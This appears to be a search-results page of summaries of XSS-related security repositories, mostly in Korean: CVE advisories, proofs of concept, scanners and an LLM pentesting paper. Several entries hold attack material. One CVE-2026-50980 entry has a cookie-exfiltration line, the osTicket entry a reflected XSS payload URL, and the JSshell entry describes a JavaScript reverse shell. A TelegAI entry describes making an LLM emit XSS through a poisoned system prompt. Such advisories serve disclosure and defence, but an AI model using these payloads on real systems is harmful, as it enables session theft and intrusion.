1127719 matches found
CVE-2022-39197-patch
CVE-2022-39197 패치 CVE-2022-39197 Cobalt Strike XSS 취약점 임시 패치 javax.swing.plaf.basic.BasicHTML의 isHTMLString 메서드를 후킹하여 swing의 HTML 지원을 비활성화합니다. 참고: 일부 HTML에 의존하는 페이지가 정상적으로 렌더링되지 않을 수 있습니다 예: 정보 페이지 사용 방법 patch.jar를 cobaltstrike 시작 디렉터리에 넣으십시오. cobaltstrike 시작 매개변수에 javaagent를 추가하여 패치를 활성화합니다...
CVE-2017-6913
CVE-2017-6913 이것은 제가 예전에 open-xchange OX App Suite의 웹메일https://www.open-xchange.com/에서 발견한 취약점입니다. 취약점 세부 사항 웹메일은 이메일을 열 때 저장형 XSSStored XSS에 취약했는데, 그 이유는 HTML time 태그의 이벤트 속성이 제대로 필터링되지 않았기 때문입니다. 결과적으로, 아래와 같은 내장 HTML 코드가 의심하지 않는 대상에서 JavaScript를 실행할 수 있었습니다: time...
CVE-2023-28467
MyBB 1.8.33 User CP 이메일 지속형 XSS - MyBB 1.8.33 User CP email persistent XSS - Mybb version "@cve.com 해결 방법 MyBB 버전 1.8.34 이상으로 업그레이드하십시오...
CVE-2026-87915-PoC-pwnVader
CVE-2026-87915 — Popup Maker = 1.24.0 — 未認証の蓄積型XSS valuesName Author: pwnVader · License: MIT リポジトリルート | ---|--- Component| Popup Maker – Boost Sales, Conversions, Optins, Subscribers WordPressプラグイン Type| CWE-79 — 蓄積型クロスサイトスクリプティング Affected| = 1.24.0 Fixed| 1.25.0 CVE| CVE-2026-87915 — CVSS 3.1 7...
CVE-2026-50980
CVE-2026-50980: oPanel의 DNS 기반 크로스 사이트 스크립팅XSS 및 세션 하이재킹 개요 CVE ID: CVE-2026-50980 제품: oPanel 영향받는 버전: new Image.src='http://:/log?cookie='+document.cookie;...
CVE-2025-57310
CVE-2025-57310 Salmen2/Simple-Faucet-Script v1.07에서 admin.php?p=ads&c=1로 전송되는 조작된 POST 요청을 통해 발생하는 사이트 간 요청 위조CSRF 취약점으로, 공격자가 임의의 코드를 실행할 수 있습니다. CWE CWE-352: 사이트 간 요청 위조 CSRF CVSS v3.1 기본 점수: 8.8 높음 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 요약 이 제품은 관리자 패널에서 사이트 간 요청 위조CSRF에 취약합니다. 인증된 관리자가...
XSS-Scanner
XSS 스캐너 크로스 사이트 스크립팅XSS은 가장 잘 알려진 웹 애플리케이션 취약점 중 하나입니다. OWASP Top 10 프로젝트에서 전용 장chapter이 있을 정도이며, 버그 바운티 프로그램에서 매우 인기 있는 취약점입니다. 이 스캐너는 사용자로부터 링크를 입력받아 웹사이트의 입력란에 악성 스크립트를 주입하여 XSS 취약점을 스캔합니다. 스크립트 주입은 Chromium이라는 헤드리스 브라우저에서 이루어지며, Puppeteer 자동화로 제어됩니다. 두 단계로 작동합니다: 1. 대상 찾기: 첫 번째 단계에서 도구는 페이지 내...
Cobaltstrike-RCE-CVE-2022-39197
Cobaltstrike RCE 취약점 CVE-2022-39197 재현 취약점 개요 해당 취약점은 Cobalt Strike의 Beacon 소프트웨어에 존재하며, 공격자가 Beacon 구성에서 형식이 잘못된 사용자 이름을 설정하여 XSS를 트리거하고, 결과적으로 CS 서버 측에서 원격 코드 실행을 유발할 수 있습니다. 스크린샷: NTLMv2-SSP 해시 획득 Cobalt Strike가 Windows에서 실행 중인 경우 참고: https://www.freebuf.com/vuls/345522.html...
JSshell
JSshell - 버전 3.1 JSshell - JavaScript 리버스 셸입니다. 원격으로 JS 코드 실행, 블라인드 XSS 악용 등에 사용됩니다. 요구 사항: 모든 OS + Python 2 또는 Python 3 JSshell 버전 3.1의 새로운 기능 JSshell 3.1 새 버전에서 업데이트된 내용: 새로운 JSshell 명령어: snippet - 자바스크립트 코드 조각을 작성할 수 있게 해줍니다. snippet Use CTRL+D to finish the snippet function new new = 'New...
dalfox
Dalfox is a powerful open-source tool that focuses on automation, making it ideal for quickly scanning for XSS flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities. Key features Subcommands...
dalfox
Dalfox는 자동화에 중점을 둔 강력한 오픈소스 도구로, XSS 취약점을 신속하게 스캔하고 파라미터를 분석하는 데 이상적입니다. 고급 테스트 엔진과 특화된 기능은 취약점 탐지 및 검증 과정을 간소화하도록 설계되었습니다. 주요 기능 하위 명령어: scan URL / 파일 / 파이프 / raw-HTTP, 자동 감지, server, payload, mcp 탐지: 파라미터 분석, 정적 분석, BAV 테스트, 파라미터 마이닝 XSS 스캐닝: 반사형Reflected, 저장형Stored, SXSS, DOM 기반, 최적화 및 DOM/AST...
CVE-2023-24278
CVE-2023-24278 - Squidex의 반사형 XSS 취약점 개요 CVE ID: CVE-2023-24278 영향을 받는 제품: 7.4.0 이전 버전의 Squidex 신고자: Ioannis Christodoulakos 이 저장소는 Squidex 오픈소스 헤드리스 CMS 소프트웨어에서 발견된 두 가지 반사형 크로스 사이트 스크립팅XSS 취약점에 대한 정보와 익스플로잇을 제공합니다. 이 취약점은 7.4.0 이전의 모든 버전에 영향을 미치며, 공격자가 /squid.svg 엔드포인트의 특정 쿼리 매개변수에 코드를 삽입하여 피해자...
CVE-2021-43141
CVE-2021-43141 CVE-2021-43141에 대한 정보로, planapplication 섹션에서 발생하는 반사형 XSS 취약점입니다...
apidetector
APIDetector는 다양한 서브도메인에서 노출된 Swagger 엔드포인트를 테스트하고, 고유한 스마트 기능으로 오탐false-positive을 탐지하도록 설계된 강력하고 효율적인 도구입니다. API 테스트 및 취약점 스캐닝에 종사하는 보안 전문가와 개발자에게 특히 유용합니다. BlackHat Arsenal 2024에서 발표됨 링크 버전 이력 버전 3의 새로운 기능 현재 최신 웹 인터페이스 : 사용자 친화적인 인터페이스로 간편한 API 엔드포인트 스캔 실시간 결과 : 발견된 엔드포인트와 취약점의 실시간 업데이트 대화형 대시보...
CVE-2024-33231
Ferozo Webmail ファイルアップロードによるXSS脆弱性 CVE-2024-33231 説明 Ferozo Webmail バージョン 1.1 は、ファイルアップロード機能を介してクロスサイトスクリプティング XSS の脆弱性があります。攻撃者は、悪意のあるJavaScriptコードを含む特別に細工されたファイルをアップロードすることで、この脆弱性を悪用する可能性があります。ファイルがアプリケーション内で処理または表示されると、埋め込まれたスクリプトが被害者のセッション内で実行され、以下のような結果を引き起こす可能性があります: セッションハイジャック 不正な操作 機密情報の...
CVE-2022-32132
osTicket 지원 티켓팅 시스템용 CVE-2022-32132 반사형 XSS: Payload: " onmouseover="alert1 http://localhost/scp/directory.php?&&order=DESCE%22%20onmouseover=%22alert1%22%20style=%22position:fixed;top:0px;right:0;bottom:0px;left:0px;&sort=name...
AWE
AWE: 동적 웹 침투 테스트를 위한 적응형 에이전트 Akshat Singh Jaswal · Ashish Baghel NDSS LAST-X 2026에서 채택됨 초록 현대 웹 애플리케이션은 AI 지원 개발 및 신속한 노코드 배포 파이프라인을 통해 점점 더 많이 생산되면서, 가속화되는 소프트웨어 속도와 기존 보안 도구의 제한된 적응성 사이의 격차가 벌어지고 있습니다. 우리는 구조화된 취약점별 분석 파이프라인을 경량 LLM 오케스트레이션 계층에 내장하는 메모리 강화 다중 에이전트 프레임워크인 AWE를 소개합니다. 104개 챌린지로...
CVE-2021-32158
..| XSStoCommandInjection1 |.. 설명 : Webmin의 업로드 및 다운로드 기능을 통해 반사형 교차 사이트 스크립팅XSS 공격을 악용하여 명령 주입을 수행합니다. 테스트된 버전 : Webmin 1.973 GitHub's latest version 07/03/2021 공격 유형 : 원격 영향 : 명령 실행 eXploit's C0de POC : 제품 공급업체 : https://www.webmin.com 추가 정보 : "Webmin is a web-based system administration tool f...
CVE-2025-51860
CVE-2025-51860 취약점 설명 TelegAI는 AI 캐릭터를 구축하고 대화할 수 있는 웹 애플리케이션으로, 채팅 구성 요소와 캐릭터 컨테이너 구성 요소에서 저장형 교차 사이트 스크립팅XSS에 취약합니다. 공격자는 설명, 인사말, 예제 대화 또는 시스템 프롬프트LLM이 채팅 응답에 XSS 페이로드를 포함하도록 지시 중 하나에 SVG XSS 페이로드를 포함한 AI 캐릭터를 제작하여 임의의 클라이언트 측 스크립트 실행을 달성할 수 있습니다. 사용자가 이러한 악성 AI 캐릭터와 상호 작용하거나 해당 프로필을 탐색하기만 해도...